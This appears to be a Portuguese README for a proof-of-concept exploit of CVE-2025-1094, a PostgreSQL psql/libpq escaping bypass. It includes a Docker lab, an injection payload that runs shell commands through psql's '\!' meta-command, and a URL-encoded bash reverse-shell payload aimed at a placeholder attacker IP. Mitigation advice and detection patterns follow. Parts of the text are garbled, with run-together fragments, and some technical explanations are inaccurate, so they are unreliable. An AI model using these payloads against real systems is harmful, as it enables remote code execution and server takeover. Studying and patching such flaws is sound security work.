
Exploit de prova de conceito para CVE-2025-1094, uma injeção de SQL no psql do PostgreSQL levando a RCE via bypass de escape do libpq. Inclui ambiente Docker, script de exploit e orientação de mitigação.
Proof of Concept para a vulnerabilidade grave de SQL Injection no cliente libpq e na ferramenta psql do PostgreSQL
CVE-2025-1094 é uma vulnerabilidade grave localizada na biblioteca cliente libpq e na ferramenta de linha de comando psql do PostgreSQL. Esta vulnerabilidade permite que um atacante realize SQL Injection e evolua para Execução Remota de Código (RCE) mesmo quando a aplicação já utiliza funções de escape de strings padrão como PQescapeLiteral.
O erro surge da inconsistência no processamento de strings de bytes multibyte inválidos (como UTF-8) entre a biblioteca de escape e o analisador sintático do psql.
1. Bypass Escaping
PQescapeLiteral é enganada por um "novo byte" (ex. 0xC0)') adjacente como um único caractere2. RCE via Meta-commands
\! do psqlO projeto está organizado para simular um ambiente realista ao chamar a função C libpq:
.
├── docker-compose.yml # Iniciar PostgreSQL + Web App
├── exolit.py # Script de exploit - Ataque externo
├── README.md # Este documento
└── app/
├── app.py # Flask Web App - Recebe input do utilizador
├── Dockerfile # Construir imagem com código vulnerável
└── init_db.sql # Inicializar base de dados
/search\!hax\xc0'; \! id; #
| Componente | Valor | Significado |
|---|---|---|
| Entrada de dados | hax | Dados normais comuns |
| Novo byte | \xc0 | Byte UTF-8 inválido - bypass do escaping |
| Aspas | ' | Aspa simples "invisível" - passa pelo filtro |
| Fim do SQL | ; | Termina a instrução SQL atual |
| Meta-comando | \! | Comando especial do psql - sai para o Shell do SO |
| Comando shell | id | Comando a executar (pode ser substituído por reverse shell) |
| Comentário | # | Comentário SQL - invalida o restante |
1. Input do utilizador: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() não reconhece \xc0 + ' como ataque
↓
3. String enviada para psql: hax\xc0'; \! id; #
↓
4. psql analisa: \xc0 é considerado fim da string
↓
5. Meta-comando \! é ativado
↓
6. Comando shell id é executado com privilégios do container
docker-compose up -d
docker-compose ps
Certifique-se de que tanto o PostgreSQL quanto a aplicação Flask estão em execução.
python exolit.py
Resultado esperado: Exibirá informação uid=0(root) obtida do servidor
docker-compose down
Envie um request POST para /search com o seguinte body:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0 (byte UTF-8 inválido)%27 = ' (aspa simples)%23 = # (hash)+ = espaçohax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23
Nota: Substitua <ip-hacker> e <port-hacker> pelo IP e porta da máquina atacante
Atualize o PostgreSQL para as versões corrigidas:
| Versão | Versão segura |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
Sempre valide se os dados de entrada são UTF-8 válidos antes de processar:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
Na programação de aplicações, utilize as bibliotecas driver oficiais:
# ❌ NÃO: Usar subprocess + psql
subprocess.run(['psql', '-c', user_input])
# ✅ SIM: Usar queries parametrizadas com psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
rootrootConfigure regras para detetar padrões:
- Byte 0xC0, 0xC1 no corpo do request
- Meta-comando `\!` no input do utilizador
- Strings como `; \!` ou `' \!`
Link para o arquivo de código-fonte (Antes do patch) Pode ver o arquivo src/interfaces/libpq/fe-exec.c na versão 17.2 (versão ainda vulnerável):
Ver o "Patch" (The Patch) - Mais importante para White-box Para entender por que houve erro e como corrigiram, a melhor forma é ver o Commit Diff (a mudança entre a versão vulnerável e corrigida).
Artigo de análise da vulnerabilidade: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/